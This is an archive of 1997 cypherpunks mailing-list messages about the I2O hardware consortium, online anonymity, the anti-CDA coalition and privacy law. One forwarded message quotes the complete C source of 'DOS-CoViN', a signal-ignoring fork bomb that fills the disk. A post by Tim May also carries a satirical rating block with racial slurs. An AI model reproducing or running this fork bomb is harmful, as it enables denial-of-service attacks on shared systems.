   controller - without intervention by the CPU or operating system.
   Eventually, OEMs such as H-P and Dell may release high-end systems
   conforming with I2O, some before the calendar year's end.
   
   "We feel that the technology is promising," said Patrick Franklin,
   Microsoft's I2O SIG rep, who confirmed that its NT 5 operating system
   will begin to implement I2O compatibility while noting that "there's
   the risk that I2O performance will not justify the cost."
   
   But another issue has begun to raise a stink with programmers - the
   ability to write and share software for I2O-enabled hardware devices
   is controlled by the Microsoft-dominated SIG.
   
   "It looks as if the I2O SIG agreements are deliberately written to
   exclude free software," said Bruce Perens, chairman of [8]Software in
   the Public Interest, a nonprofit organization formed to support Debian
   GNU/Linux, a free Linux operating system package. "It's my opinion
   that this was a very deliberate decision on the part of the I2O
   consortium, and specifically on the part of their sponsors Microsoft
   and Novell."
   
   Free software - software whose source code is shared throughout the
   Net community - has taken a good portion of the high-powered server
   market that I2O targets, said Perens. "[For] [9]Web servers, file
   servers, and big-ticket systems, people have dumped high-priced
   commercial server packages in favor of free software."
   
   Because software development for I2O peripherals is forbidden for
   nonmembers, the US$5,000 yearly membership dues will put individuals
   and small organizations out of the game. Members themselves are not
   permitted to disclose their source code, and Microsoft has veto power
   to drop any organization from the SIG. This makes a grim scenario for
   independent programmers.
   
   The usual reason for keeping a hardware system closed - to prevent
   cloning of the device - does not apply in this case, as all I2O
   hardware vendors have access to the same documentation. "Five thousand
   dollars is assurance that the little guys, people like [10]Linus
   Torvalds [the original author of Linux] who might work for a college
   or program at home on hardware they purchased with their own money,
   will be locked out," Perens said.
   
   But, says LoBue, "I try to tell these people that one, this isn't a
   conspiracy and two, the founders are not stupid, ignorant people
   unaware of a free approach to licensing - so grow up, get over it.
   Either join or wait until such time as they feel that it doesn't need
   to be licensed. Boy, they're sure having a lot of fun on their soapbox
   lecturing about how ruin and damnation will happen because there are
   'proprietary specs.' I would claim that I2O is _not_ a proprietary
   spec - _anybody_ is free to join the SIG."
   
   Proprietary specs have surfaced many times throughout PC history; the
   outcomes have almost never been good. The MicroChannel Architecture
   bus was IBM's one-time attempt to keep the PC bus its own. It didn't
   work.
   
   "MCA was doomed from the start," said Microsoft's Franklin, citing the
   difficulties in getting a license from the IBM bureaucracy as a prime
   catalyst for its demise. Similarly, it may prove tough to impossible
   to keep determined hackers from programming their own hardware: Some
   have even now routed around the I2O membership requirements, informing
   Wired News that the secret document describing I2O in its current
   revision was [11]openly available from the I2O SIG's own site.
   
   _Related Wired Links:_
   [INLINE]
   
   _[12]Penguin Plaque Honors Linux Creator
   9.Jul.97_
   
   
   
   [13][LINK] [14][USEMAP]
   
   [15]Feedback: Let us know how we're doing.
   
   [16]Tips: Have a story or tip for Wired News? Send it.
   
   [17]Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
   All rights reserved.
   
   [18][USEMAP]
   [INLINE] [INLINE]
   [19]PSINet. Sign up now and get $200 of free Internet faxing.
   
   [20]Consortium Segregates the Bus
   
   [INLINE]
   _TECHNOLOGY_
   _Today's Headlines_
   
   _[21]Email Spy Lurks in Corporate Future
   
   [22]Digital Maps Help You Take a High-Tech Hike
   
   __[23]Consortium Segregates the Bus
   
   [24]Net Cannot Work by Man Alone
   
   [25]Launch Entrepreneurs Bet Down Under Goes Over
   
   [26]Sun's Adventures in the Third Dimension
   
   __[27]Tools: Internet Explorer 4.0 Preview 2
   
   [28]Street Cred: The Interface Hackers
   
   [29]Geek Talk: VBScript
   
   _[30]PSINet. Sign up now and get $200 of free Internet faxing.

References

   1. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#masthead.map
   2. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav1.map
   3. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav2.map
   4. http://www.wired.com/wired/
   5. http://www.wired.com/news/news/technology
   6. mailto:stutz@dsl.org
   7. http://www.i2osig.org/
   8. http://www.debian.org/social_contract.html
   9. http://www.netcraft.com/Survey/Changes/ALL/
  10. http://www.forwiss.uni-passau.de/forwiss/archive/linux/personen/interview.html
  11. ftp://ftp.i2osig.org/ver1-5.pdf
  12. http://www.wired.com/news/news/culture/story/1763.html
  13. http://www.wired.com/news/news/technology
  14. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#navstrip.map
  15. mailto:news_feedback@wired.com
  16. mailto:tips@wired.com
  17. http://www.wired.com/wired/full.copyright.html
  18. LYNXIMGMAP:http://www.wired.com/news/news/technology/story/5343.html#nav3.map
  19. http://www.wired.com/cgi-bin/nredirect/zMN5zNoNlV+G@http://www.psi.net/bannerads3/hotwired@news@topstories@def@psinet@psinet/greenpsinet125@
  20. http://www.wired.com/news/news/technology/story/5343.html
  21. http://www.wired.com/news/news/technology/story/5315.html
  22. http://www.wired.com/news/news/technology/story/5313.html
  23. http://www.wired.com/news/news/technology/story/5343.html
  24. http://www.wired.com/news/news/technology/story/5321.html
  25. http://www.wired.com/news/news/technology/story/5304.html
  26. http://www.wired.com/news/news/technology/story/5287.html
  27. http://www.wired.com/news/news/technology/story/5337.html
  28. http://www.wired.com/news/news/technology/story/5272.html
  29. http://www.wired.com/news/news/technology/story/5266.html
  30. http://www.wired.com/cgi-bin/nredirect/zMN5zNoNlV+G@http://www.psi.net/bannerads3/hotwired@news@topstories@def@psinet@psinet/greenpsinet125@





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 22 Jul 1997 01:08:13 +0800
To: cypherpunks@toad.com
Subject: CDT's Berman Opposes Online Anonymity
Message-ID: <199707211648.SAA11236@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain






                     AMERICAN CIVIL LIBERTIES UNION


                       WASHINGTON OFFICE

                                                    122 Maryland Avenue, NE
 November 1, 1985                                   Washington, DC 20002
                                                    --------------------
                                                    National Headquarters
Mr. David Chaum                                     132 West 43rd Street
Centre for Mathematics and Computer Science         New York. NY 10036
P.O. Box 4079                                       (212) 944-9800
19O9 AB Amsterdam                                   Norman Dorsen
                                                      President
Dear Mr. Chaum:                                     Ira Glasser
                                                      Executive Director
                                                    Eleanor Holmes Norton
                                                      CHAIR
                                                    National Advisory
                                                    Council





        Thank you for sending me a most interesting article.   A
society of  individuals  and  organizations  that  would  expend  the
time and resources to use a  series  of  'digital  pseudonyms' to
avoid data linkage does not in my opinion make big brother
obsolete but  acts  on  the  assumption  that  big  brother  is  ever
present.  I  view  your  system  as  a  form  of  societal  paranoia.

        As a matter of  principle,  we  are  working  to  enact  formal
legal protections for  individual  privacy  rather  than  relying  on
technical solutions.   We want to  assume  a  society  of  law  which
respects legal limits rather than  a  society  that  will  disobey  the
law, requiring  citizens  to  depend  on  technical  solutions.  e.g.
require  a  judical  warrant  for  government  interception  of  data
communications rather than  encrypt  all  messages  on  the  assumption
that regardless of the lawt  the  government  will  abuse  its  power
and invade privacy.

        As a  matter  of  practicality,  I  do  not  think  your  system
offers much hope for privacy.    First, the trend toward universal
identifiers  is  as  much a  movement  generated  by  government  or
industry's desire to keep track of all citizens as it is by
citizens seeking simplicity and convenience in all transactions.
At best,  your  system  would  benefit  the  sophisticated  and  most
would opt for  simplicity.  The  poor  and  the  undereducated  would
never use or benefit from it.

        Finally where there's a  will, there's  a  way. If  government
wants to link data bases, it  will,  by  law, require  the  disclosure
of various individual pseudonyms used by citizens or prohibit it
for data bases which the government wants to link.  Since
corporations  make  money  by  trading  commercial  lists  with one
another, they will never adopt  the  system  or  if  it  is  adopted,
will use "fine printn  contracts  to  permit  selling  various   codes
used by their customers to other firms.

        The solution remains law, policy, and consensus about limits
on government or corporate intrusion into areas of individual
autonomy.  Technique can be used to enforce that consensus or to
override it. It cannot be used as a substitute for such
consensus.



                                            Sincerely Yours,

                                             /Sig/

                                            Jerry J. Berman
                                            Chief Legislative Counsel
                                            & Direrector ACLU
                                            Privacy Technology Project


   cc: John Shattuck






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 22 Jul 1997 10:52:06 +0800
To: cypherpunks@toad.com
Subject: Fight-each-other
Message-ID: <Pine.GSO.3.95.970721192957.21952B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 21 Jul 1997 19:29:48 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Fight-each-other

Some random thoughts:

It's no surprise that pro-CDA folks are on f-c. Paul Cardin from OCAF
subscribed about a year ago. Bruce Taylor and lawyers for Enough is Enough
and the Family Research Council have been known to frequent the list,
along with a variety of Hill staffers.

They do a better job of keeping their disagreements under wraps, though if
you ask the right questions you'll learn about some of the riffs that
split their community over CDA I. We're not as organized -- nor should we
be. Netizens, by their very nature, can't march in lockstep together. 
Sure, the pro-CDA I forces will hear our squabbles, smell our dirty
laundry. But this debate won't continue forever, and perhaps some common
ground will emerge.

Maybe it was naive to think that the anti-CDA coalition would hang
together after the Supreme Court decision. After all, the current fault
lines are split along some of the same divisions that existed for a year
and a half in two lawsuits: the one organized by the ACLU and the one
organized by CIEC. I've heard some say that the current dispute was
inevitable. 

Or, think of it this way: when privacy groups ally with the religious
right on database legislation, they don't expect their alliance to last
forever. Or when librarians join with Sony, Bell Atlantic, and Sun on
copyright lobbying. Or when the ACLU joins the Eagle Forum on crypto. Or
when the Cato Institute joins Ralph Nader on opposing the CDA.

These are issue-by-issue alliances, and everyone involved understands that
from the start. Perhaps we should have thought of the CDA alliance the
same way? Or perhaps the conflict arises because all groups would like to
claim the mantle of "representing the interests of the Net" -- which
brings with it some political currency here in Washington. And some might
say the tussle comes from long-standing personality conflicts.

Again, these are stream-of-consciousness thoughts, typed in while watching
that excerable new TV show "Roar." I haven't thought this through as much
as I'd like.

-Declan


On Mon, 21 Jul 1997, James S. Tyre wrote:

> The note below was sent to me privately earlier today.  I will respect
> the author's privacy by not revealing who s/he is, but y'all might take
> heed of what the author says.
> 
> I am familiar with the author from elsewhere, and many on f-c might well
> agree with the self-characterization (which, in this context, has
> nothing to do with Libertarianism, pro or con).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wcreply@ctia.org
Date: Tue, 22 Jul 1997 08:03:39 +0800
To: cypherpunks@toad.com
Subject: WOW-COM(TM) News Update
Message-ID: <199707212341.TAA01871@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear WOW-COM Reader:

WOW-COM(tm) is the wireless industry's online information source, a free service of CTIA.  Find out what's going on in the wireless industry by visiting http://www.wow-com.com/welcome today!

INDEX:
======
1)	Letters to FBI regarding Electronic Surveillance

2)	The Clearinghouse Report on Antenna Siting
	
3)	WOW-COM's MICROSITES: Focused Content for Focused Needs

4)	Taking a vacation?  Use our news archive feature


Electronic surveillance standards: CALEA
=======================================================
http://www.wow-com.com/professional/whatshot/

The Cellular Telecommunications Industry Association ("CTIA") filed a petition for rulemaking before the Federal Communications Commission ("Commission") on Wednesday July 16, 1997, to expedite development of a lawfully authorized electronic surveillance standard under the 1994 Communications Assistance for Law Enforcement Act  ("CALEA"). See the whole story here.


THE CLEARINGHOUSE REPORT ON ANTENNA SITING
==============================================
http://www.wow-com.com/professional/siting/ 

Check out the CTIA Clearinghouse Report on Siting, the industry's most comprehensive research on siting issues.  Containing information on current moratoria, new regulations proposed and adopted by municipalities and recent judicial proceedings.  The Siting Report is located in the Siting Microsite.


WOW-COM's MICROSITES: Focused Content for Focused Needs
===================================================
http://www.wow-com.com/professional/micro/

A Microsite is a subsection of WOW-COM(TM) that focuses on an issue of vital interest to the wireless industry.  WOW-COM currently supports Microsites on the following topics: Antenna Siting, Wireless Fraud, Systems Integration, Wireless Apps.


TAKING A VACATION? USE OUR NEWS ARCHIVE FEATURE!
=================================================
http://www.wow-com.com/results/professional/news/
Getting back from vacation and need to catch up on wireless news?  WOW-COM's News Search feature can access any news article that has ever been on our system.  Just scroll to the bottom of this page and type in the keyword and, or date range.


==================================================
MORE WOW-COM(tm) FEATURES
=============================
WOW-COM(tm) is current: Updated 3x per day.
WOW-COM(tm) is insightful: CTIA's unbiased analysis 
WOW-COM(tm) is beneficial: Find products and services in  WOW-COM(tm)'s Virtual Trade Show.   List open positions in the WOW-COM(tm) Career Center, get resumes via email, and hire qualified individuals.

The world of wireless is in constant motion.  Stay on top of the news and benefit from CTIA's analysis by reading WOW-COM(tm) everyday.  You may remove yourself from the WOW-COM(tm) mailing list by going to http://www.wow-com.com/unsubscribe

=============================================================
This update sponsored by: IBM
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 22 Jul 1997 12:15:50 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Fight-each-other
In-Reply-To: <Pine.GSO.3.95.970721192957.21952B-100000@well.com>
Message-ID: <v03102806aff9deb72da2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:30 PM -0700 7/21/97, Declan McCullagh wrote:

>same way? Or perhaps the conflict arises because all groups would like to
>claim the mantle of "representing the interests of the Net" -- which
>brings with it some political currency here in Washington. And some might

Nope, not all groups would like to claim they are "representing the
interests of the Net." And not all individuals, either. I don't recall any
plausible consensus of the Cypherpunks claiming to represent the interests
of the Net.

I've never claimed to represent the interests of "the Net"--I just want
anyone who tries to tell me what to do in violation of the strict limits of
the Constitution (especially the Old Testament version, not the newfangled
New Testament that says I have to hire some percentage of coloreds, for
example) to _STOP_.

And I don't trust legislation. Only way to STOP them is to use
technological monkeywrenches. The stuff that should be well-known, even to
Washington burrowcrats.

And I'm not convinced the "alliance" against the CDA was terribly
important. Had the Eagle Forum, or whatever, and the CPSR, or whatever, not
been part of the suit, the ACLU lawyers would still likely have carried the
day. The Supremes may have been willing to look the other way on some major
constitutional issues the last several decades, but some things are just
too clear cut violations of the First, even for them.

(Similarly, I expect the "mandatory voluntary Net ratings" system to fail.
It's not even clear if television networks have to "voluntarily self-rate,"
as the NBC refusal is likely to ultimately show, and these are networks
ostensibly bound by FCC rules and the usual "scarce spectrum" arguments.
The Net is exactly like print, and there is no plausible argument for
demanding that all writers classify their writings according to some
government standard. (Lest this not be clear, suppose that my value system
argues that sex and profanity are necessary parts of a child's education,
so I voluntarily rate my writings as "suitable for children of all ages."
What then? And must I warn Muslims that my writings may be offensive to
them? And so on, for literally hundreds or more everyday examples. The
Supremes will strike this mandatory voluntary "Children's Protection and
Safe Surfing Act" down pronto. Whether or not a Grand Alliance is formed.)

By the way, I've attempted to comply with the spirit of Comrad Clinton's
ratings system. See below.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 22 Jul 1997 11:19:11 +0800
To: Michael Stutz <stutz@dsl.org>
Subject: Re: Will Monolithic Apps Dominate?
In-Reply-To: <Pine.LNX.3.95.970721183747.25439E-100000@devel.nacs.net>
Message-ID: <199707220222.VAA02243@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.LNX.3.95.970721183747.25439E-100000@devel.nacs.net>, on 07/21/97 
   at 06:40 PM, Michael Stutz <stutz@dsl.org> said:

>   Because software development for I2O peripherals is forbidden for
>   nonmembers, the US$5,000 yearly membership dues will put individuals
>   and small organizations out of the game. Members themselves are not
>   permitted to disclose their source code, and Microsoft has veto power
>   to drop any organization from the SIG. This makes a grim scenario for
>   independent programmers.

Sounds like a text book example for a anti-trust lawsuit angainst
Microsoft, Intell & the I20 SIG.

I wonder what Watcom, Borland and a few of the other compiler manufactures
think about this.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM9QMSo9Co1n+aLhhAQHATQP/Ro6oxfT+LyCJKl9OLI+XR5y3tx2fnCYm
616EqwP17/ACaoB+9zp0sKVPyzcrJeZHsedR7OCt1oek5LmWrJERtTH3hlk3G68m
51C2/c/M3RPriv6ewqRehLBfLsxJmSwY4Yr6o4x3Ypadf/5Kh8ciVsmTw7WsSVIM
jOqS0p8QMNo=
=zzAz
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 22 Jul 1997 10:44:21 +0800
To: jherron@basix.com
Subject: Controversial Technology
Message-ID: <199707220224.VAA12597@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Jack,

I have removed your subscription to the Experimental Science Instrumentation
mailing list.

I would however like to point out that security through obscurity (ie
ignorance) is not security. It is self-delusion. One can not protect them
selves reliably from the many consequences of technology and society via
ignorance. That which you don't know not only can hurt you but can kill you.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-tesla@ssz.com Mon Jul 21 21:13:16 1997
> Date: Mon, 21 Jul 1997 21:13:15 -0500
> Message-Id: <199707220213.VAA12566@einstein.ssz.com>
> To: owner-tesla@ssz.com
> From: owner-tesla@ssz.com
> Subject: BOUNCE tesla@ssz.com: Admin request
> 
> >From tesla-owner@ssz.com  Mon Jul 21 21:13:13 1997
> Received: from Base.Basix.COM (Basix.COM [198.49.101.15]) by einstein.ssz.com (8.6.12/8.6.9) with SMTP id VAA12560 for <tesla@ssz.com>; Mon, 21 Jul 1997 21:13:11 -0500
> Date: Mon, 21 Jul 1997 21:13:11 -0500
> Message-Id: <199707220213.VAA12560@einstein.ssz.com>
> Received: from sl-2.Basix.COM by Base.Basix.COM (MX V4.2 VAX) with SMTP; Mon,
>           21 Jul 1997 19:21:36 MST
> X-Sender: JHERRON@BASIX.COM
> X-Mailer: Windows Eudora Light Version 1.5.2
> MIME-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> To: tesla@ssz.com
> From: JACK HERRON <JHERRON@BASIX.COM>
> Subject: Re: fork problem, fix? (fwd)
> 
> Jim Choate,
>         There is nothing ethical about fabricating destructive programs and
> distributing them to the irresponsible, while hiding like a coward.  Please
> unsubscribe me.
> 
> Jack Herron
> 
> 
> 
> 
> 
> 
> At 08:05 AM 7/21/97 -0500, you wrote:
> >Forwarded message:
> >>From owner-cypherpunks@ssz.com Mon Jul 21 07:39:29 1997
> >Date: Mon, 21 Jul 1997 06:55:08 +0200 (MET DST)
> >Message-Id: <199707210455.GAA29231@basement.replay.com>
> >To: cypherpunks@toad.com.redhat-list@redhat.com
> >From: nobody@replay.com (Name Withheld by Request)
> >Organization: Replay and Company UnLimited.
> >XComm: This message was automaticly Remailed by an Anonymous Remailer.
> >XComm: Report problems or inappropriate use to <postmaster@replay.com>
> >subject: fork problem, fix?
> >Sender: owner-cypherpunks@ssz.com
> >Precedence: bulk
> >X-Mailing-List: cypherpunks@ssz.com
> >X-List-Admin: list@ssz.com
> >X-Loop: ssz.com
> >
> >/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
> >   bugtraq
> >
> >   This program is a beefed up classic denial of service fork()'er :)
> >
> >   Compilation:
> >	on BSD type of systems do:  gcc -DBSD_C  -o cvn cvn.c
> >	on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
> >
> >	on my linux, I can compile it with both -DBSD_C and -DSYSV_C
> >
> >	if your not sure, you can experiment, or compile it
> >	without any -D'efines
> >
> >
> >   In the future:
> >	SunOS signals ignored.
> >	Creation of random symlinks for more gory destruction.
> >	Using advanced technology coding to make the hard drive
> >		blow up with a loud boom and the console explode
> >		causing a nuclear meltdown.
> >
> >
> >
> >   Direct All Suggestions And Flames to: Vio
> >
> >  NOTE: this program is provided for educational purposes only, its author
> >	will not take any responsibility for any stupid things you will
> >	decide to do.
> >
> >	this has been tested, but not the latest version of it.
> >
> >            .a&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&a.
> >            $$'   s   `$'   s   `$    $    $    $    `$   $$
> >            $$    $    $    $    $    $    $    $         $$
> >            $$    $    $ p  $ h  $ e  $ a  $ r  $   $a.   $$
> >            $$    $ssss$    $    $    $    $    $   $$$   $$
> >            $$    $    $    $    $.   $   ,$    $   $$$   $$
> >            $$.   $   ,$.   $   ,$$.     ,$$   .$   $$$   $$
> >            `$$&@%o%@&$$$&@%o%@&$$$$$%o%$$$$.a$$$.a$$$$$$$$'
> >
> >*/
> >
> >
> >#include <stdio.h>
> >#include <stdlib.h>
> >#include <sys/types.h>
> >#include <sys/stat.h>
> >#include <fcntl.h>
> >#include <unistd.h>
> >#include <signal.h>
> >
> >#define MAX_FILELEN 100	/* The _actual_ max length */
> >#define MAX_DIRLEN 10
> >
> >#define START_DIR "/tmp"   /* This can be substituted for any directory */
> >			   /* that you have write access to		*/
> >
> >void dirs_generator(void);
> >
> >main(int argc, char *argv[])
> >{
> >int fp;
> >char *buff;
> >char chr;
> >
> >unlink(argv[0]);
> >
> >/* You might wanna ignore all the signals you can ignore.. */
> >signal(SIGINT,	SIG_IGN);	/* If any of the signals don't work */
> >signal(SIGHUP,	SIG_IGN);	/* on the system you are compiling  */
> >signal(SIGTERM,	SIG_IGN);	/* them on, just erase that line    */
> >signal(SIGALRM,	SIG_IGN);
> >signal(SIGBUS,	SIG_IGN);
> >signal(SIGFPE,	SIG_IGN);
> >signal(SIGILL,	SIG_IGN);
> >signal(SIGIOT,	SIG_IGN);
> >signal(SIGPIPE,	SIG_IGN);
> >signal(SIGQUIT,	SIG_IGN);
> >signal(SIGSEGV,	SIG_IGN);
> >signal(SIGTRAP,	SIG_IGN);
> >signal(SIGUSR1,	SIG_IGN);
> >signal(SIGUSR2,	SIG_IGN);
> >
> >#ifdef BSD_C 
> >	signal(SIGPROF, SIG_IGN);
> >	signal(SIGSTOP, SIG_IGN);
> >	signal(SIGTSTP, SIG_IGN);
> >	signal(SIGTTIN,	SIG_IGN);
> >	signal(SIGTTOU,	SIG_IGN);
> >	signal(SIGVTALRM,	SIG_IGN);
> >	signal(SIGXCPU,	SIG_IGN);
> >	signal(SIGXFSZ,	SIG_IGN);
> >#endif
> >
> >#ifdef SYSV_C
> >	signal(SIGPOLL,	SIG_IGN);
> >	signal(SIGPWR,	SIG_IGN);
> >#endif
> >
> >if(fork()) {
> >	printf("Now crashing and blowing up this system.. have a nice day\n");
> >	printf("You can safely logout, and let the proggie do its work\n");
> >	printf("or you can stick around and watch lag go from 0 to bitch\n");
> >	printf("in a matter of seconds\n");
> >	printf("					--CoViN		 \n");
> >	exit(0);
> >  }
> >fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
> >if(fork()) {
> >	while(1) {
> >		fork();
> >		buff = malloc(64000);
> >		write(fp, buff, 64000);
> >		system("uptime");
> > 	}
> > }
> >dirs_generator();
> >}
> >
> >
> >void dirs_generator(void)
> >{
> >char alph[] = "
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
> >char fl[MAX_FILELEN]; 
> >char dir[MAX_DIRLEN];
> >int i;
> >int flen;
> >
> >printf("Making dirs..\n");
> >chdir(START_DIR);
> >
> >fork();	/* For the simplicity of the code.. we also want more dir's from */
> >fork(); /* the START_DIR						 */
> >fork();
> >
> >while(1) {
> >	fork();
> >	flen= (rand() % MAX_FILELEN) - 1;
> >	for(i=0; i<flen; i++)
> >                fl[i] = alph[rand() % strlen(alph)];
> >	fl[MAX_FILELEN-1]=0;
> >	i=open(fl,O_WRONLY|O_CREAT);
> >	write(i,"fuck you! CoViN",16);
> >	close(i);
> >
> >	flen= (rand() % MAX_DIRLEN) - 1;
> >	for(i=0; i<flen; i++)
> >		dir[i] = alph[rand() % strlen(alph)];
> >	dir[MAX_DIRLEN-1]=0;
> >	mkdir(dir,0);	
> >	chdir(dir);
> >       }
> >}
> >
> >
> -----------------------------------------
> Jack Herron - Editor
> Society for Amateur Scientists
> 8118 E. 20th St.
> Tucson, AZ 85710 USA
> jherron@basix.com
> 520 885-6933
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 22 Jul 1997 13:03:14 +0800
To: cypherpunks@Algebra.COM
Subject: Privacy: Law, Custom, and Technology
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <v03007804aff9d745474f@[207.94.249.108]>
MIME-Version: 1.0
Content-Type: text/plain



As far as I can tell, law, custom, and technology are the three ways we
have to protect our privacy.  Cypherpunks are well aware of the
technological options, so I won't discuss them further except to note that
they probably are not, by themselves, enough.

Law has also been discussed, including the European privacy laws and
similar laws which have been proposed for the US.  One good thing about the
European mindset on privacy is that it seems to include resistance to legal
suppression of privacy technology.

The last is custom.  This approach appears in cypherpunk discussions as an
emphasis on contractual relations between people and the organizations
receiving data.  It is this area I would like to discuss.


What makes a good privacy contract?  What should you expect when you buy
something?  What is the standard contract?  What exceptions must be clearly
noted?  How does society decide these cultural issues?

I strongly believe in standard contracts because they greatly reduce
transaction costs.  Where the parties need different terms, they can
negotiate exceptions.  However, we do not have standard privacy contracts
which match our new communication and database technologies.  We don't even
have a good public debate on the issues involved.

Unfortunately, it seems that the only way to raise these issues to the
radar scope of the news media/public is to have some congresscritter
propose a law.  Even more unfortunately, said law usually preempts people's
right to contract with each other, rather than just setting a framework for
the contract negotiations.  There must be a better way.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 22 Jul 1997 13:08:18 +0800
To: cypherpunks@toad.com
Subject: The Real Revolution: Net Guerrillas, from The Netly News (fwd)
Message-ID: <Pine.GSO.3.95.970721215407.29536B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Mon, 21 Jul 1997 21:53:56 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: The Real Revolution: Net Guerrillas, from The Netly News

------

http://cgi.pathfinder.com/netly/opinion/0,1042,1183,00.html

The Netly News Network (http://netlynews.com/)
July 21, 1997

The Real Revolution: Net Guerrillas
by Elizabeth Frantz
   
       The recent kidnapping and assassination of Spanish politician
   Miguel Angel Blanco by the Basque separatist group ETA has ignited a
   violent backlash that is spilling into cyberspace.

       In the wake of the widespread protest against ETA, the Spanish
   government requested last week that the Cable News Network (CNN)
   remove its link to the group's web site. Miguel Garzon, spokesman for
   the Spanish Embassy in Washington D.C., defended the move by saying
   the ETA should be considered terrorist and not separatist, and
   therefore links should not be made to them. The ETA has killed nearly
   800 people since it took up arms in 1968 to fight for independence for
   Spain's northern Basque provinces.

       CNN refused the Spanish government's request, saying that it was
   standard practice to provide links that relate to the subject matter
   -- even if the subject is terrorism. More and more terrorist groups
   are creating pockets of resistance online, a fact that is beginning to
   raise serious questions, especially for educational institutions,
   where John Q. Taxpayer might be indirectly paying for a Zapatista web
   site.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Tue, 22 Jul 1997 06:40:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: CDT's Berman Opposes Online Anonymity
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: <m0wqPHq-0003bAC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from Jerry Berman -----

As you probably noticed, this letter was written in 1985 and represented
the position of the ACLU at that time. Times, and organizations, and
technology have changed dramatically in the last 12 years, and so has my
view on this issue.

I strongly believe both legal *and* technical protections are essential to
guarantee privacy rights (including the right to anonymity) and have
worked, with my associates at CDT and others on the Net, to promote the use
of strong ecnryption as a way to protect privacy.  I also continue to work
for  legal restrictions on electronic surveillance.

Please post this wherever you think this might clarify my position and the
debate.

Thanks,

